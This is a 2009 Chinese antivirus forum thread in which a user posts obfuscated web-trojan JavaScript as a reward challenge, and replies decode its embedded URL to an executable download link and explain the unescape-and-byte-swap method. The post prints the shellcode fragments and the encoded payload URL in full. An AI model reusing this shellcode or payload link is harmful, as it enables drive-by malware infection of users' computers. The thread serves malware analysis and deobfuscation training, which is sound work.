瑞星卡卡安全论坛技术交流区恶意网站交流 6.3日有奖解密(悬赏结束)

1   1  /  1  页   跳转

[悬赏] 6.3日有奖解密(悬赏结束)

6.3日有奖解密(悬赏结束)



document.writeln("<script language=\"JavaScript\">");
document.writeln("var GSsafe01,GSsafe02,GSsafe03,GSsafe04,GSsafe05,GSsafe06,GSsafe07,GSsafe08,GSsafe09,GSsafe10;");
document.writeln("var GSsafe11,GSsafe12,GSsafe13,GSsafe14,GSsafe15,GSsafe16,GSsafe17,GSsafe18,GSsafe19,GSsafe20;");
document.writeln("var GSsafe1k,GSsafe2k,GSsafe3k,GSsafe4k,GSsafe5k,IloveM,YloveM,ShengFeng,KabasbCMD;");
document.writeln("GSsafe2k = unescape(\"\");\/\/(\"GS746f\"+\"GSfb7cGS1752GS8476GS3b4eGS5362GS3a67GS3760c\");");
document.writeln("GSsafe19 = unescape(\"\");\/\/(\"GS5c4f\"+\"GS3a4eGS227dGS3c5cGS7943GS6562GS2d72GS26873\");");
document.writeln("GSsafe5k = unescape(\"\");\/\/(\"GS3030\"+\"GS074eGScf50GS207dGSfd80GS4d91GS59fdGS1521f\");");
document.writeln("GSsafe01 = unescape(\"GS56e8\");\/\/(\"GS0a4e\"+\"GS5a50GS864eGSdb8fGS004eGS656bGS8476GS46e7f\");");
document.writeln("GSsafe18 = unescape(\"\");\/\/(\"GS4753GSa77e\"+\"GS0cffGS6496GS864eGSe562GS0967GS53031\");");
document.writeln("GSsafe16 = unescape(\"\");\/\/(\"GS6780GS302f\"+\"GS5702GS4e28GS81baGS8b38GS52c6GS6542b\");");
document.writeln("GSsafe1k = unescape(\"\");\/\/(\"GS5349GS76d8\"+\"GS9584GS595cGS4e34GS594bGSff16GS7540c\");");
document.writeln("GSsafe17 = unescape(\"\");\/\/(\"GS3033GS5730\"+\"GS6228GS64cdGS4f44GS757fGS6528GS897b9\");");
document.writeln("GSsafe20 = unescape(\"\");\/\/(\"GS5262GS51a0\"+\"GS4e65GS6686GS52f4GS66a0GS807aGSu76fd\");");
document.writeln("GSsafe3k = unescape(\"GS612f\"+\"GS3932\");\/\/(\"GS8b57\"+\"GS0cffGS3354GS3030GS2857GS2760GS\");");
document.writeln("GSsafe4k = unescape(\"GS632e\"+\"GS7373\");\/\/(\"GS7b8c\"+\"GS8111GS5f38GS95ebGS67f8GS803aGS\");");
document.writeln("GSsafe06 = unescape(\"GSc031\"+\"GS5e5f\"+\"GS5b5dGS08c2GS5e00GS306aGS6459GS198bGS5b8bGS8b0c\");");
document.writeln("GSsafe13 = unescape(\"GS6c6c\"+\"GSe800\"+\"GSffaeGSffffGS5255GS444cGS776fGS6c6eGS616fGS5464\");");
document.writeln("GSsafe05 = unescape(\"GS245a\"+\"GSeb01\"+\"GS8b66GS4b0cGS5a8bGS011cGS8bebGS8b04GSe801GS02eb\");");
document.writeln("GSsafe15 = unescape(\"GSffff\"+\"GS2e2e\"+\"GS785cGSe800GSff89GSffff\");");
document.writeln("GSsafe03 = unescape(\"GS4a8b\"+\"GS8b18\"+\"GS205aGSeb01GS32e3GS8b49GS8b34GSee01GSff31GS31fc\");");
document.writeln("GSsafe04 = unescape(\"GSacc0\"+\"GSe038\"+\"GS0774GScfc1GS010dGSebc7GS3bf2GS247cGS7514GS8be1\");");
document.writeln("GSsafe12 = unescape(\"GSff73\"+\"GS6ad6\"+\"GSff00GSe8d0GSffabGSffffGS7275GS6d6cGS6e6fGS642e\");");
document.writeln("GSsafe02 = unescape(\"GS0000\"+\"GS5300\"+\"GS5655GS8b57GS246cGS8b18GS3c45GS548bGS7805GSea01\");");
document.writeln("GSsafe08 = unescape(\"GS0e4e\"+\"GSffec\"+\"GSebd6GS5a50GSff52GS89d0GS52c2GS5352GSaa68GS0dfc\");");
document.writeln("GSsafe11 = unescape(\"GS9868\"+\"GS8afe\"+\"GSff0eGSebd6GS5944GS006aGSff51GS53d0GS7e68GSe2d8\");");
document.writeln("GSsafe07 = unescape(\"GS1c5b\"+\"GS1b8b\"+\"GS5b8bGS5308GS8e68GS0e4eGSffecGS89d6GS53c7GS8e68\");");
document.writeln("GSsafe10 = unescape(\"GS5100\"+\"GS6a52\"+\"GSff00GS53d0GSa068GSc9d5GSff4dGS5ad6GSff52GS53d0\");");
document.writeln("GSsafe14 = unescape(\"GS466f\"+\"GS6c69\"+\"GS4165GSe800GSffa0GSffffGS2e2eGS785cGSe800GSffb7\");");
document.writeln("GSsafe09 = unescape(\"GSff7c\"+\"GS5ad6\"+\"GS4debGS5159GSff52GSebd0GS5a72GS5bebGS6a59GS6a00\");");
document.writeln("ShengFeng = unescape(\"YT7468YT7074YT2F3AYT772FYT616FYT6E69YT3269YT3433YT3635YT632EYT6D6FYT772FYT6265YT782FYT2E70YT7865YT0065YT0000\");");
document.writeln("IloveM = GSsafe01+GSsafe02+GSsafe03+GSsafe04+GSsafe05+GSsafe06+GSsafe07+GSsafe08+GSsafe09+GSsafe10;");
document.writeln("YloveM = GSsafe11+GSsafe12+GSsafe13+GSsafe14+GSsafe15;");
document.writeln("var QuadroSCR = IloveM+YloveM+ShengFeng;");
document.writeln("<\/script>");


谁能第一个解密出来的恶意网址  威望+10

能写出解密方法 再加10威望

请该版主辅助加一下

(反病毒小组禁止参加,该版版主禁止参加)


网马解密系列教程——不断更新中

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QQDownload 1.7; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; CIBA; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MAXTHON 2.0)
最后编辑networkedition 最后编辑于 2009-06-03 15:05:49
分享到:
gototop
 

回复: 6.3日有奖解密

ShengFeng这个变量 没定义吗?


"GS"是什么东西 ???直接拿掉 还是用什么替换?
最后编辑09kaka 最后编辑于 2009-06-03 14:02:40
gototop
 

回复:6.3日有奖解密

http://woaini23456.com/web/xp.exe


解出来后

thpt/:w/aoni2i4365c.mow/bex/.pxee


貌似 在那里见过这种加密

两位互换
本帖被评分 1 次
gototop
 

回复: 6.3日有奖解密

简单讲解一下,实际这个网马应该是两个恶意网址,他把两个恶意网址内容合并到一起了。直接看这段代码:

YT7468YT7074YT2F3AYT772FYT616FYT6E69YT3269YT3433YT3635YT632EYT6D6FYT772FYT6265YT782FYT2E70YT7865YT0065YT0000


这个解密方法在利用自身的解密函数来进行解密 一文中有讲解,解密方法将YT替换为%u,使用freshow两次esc即可。
gototop
 

回复:6.3日有奖解密(悬赏结束)

忽悠
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT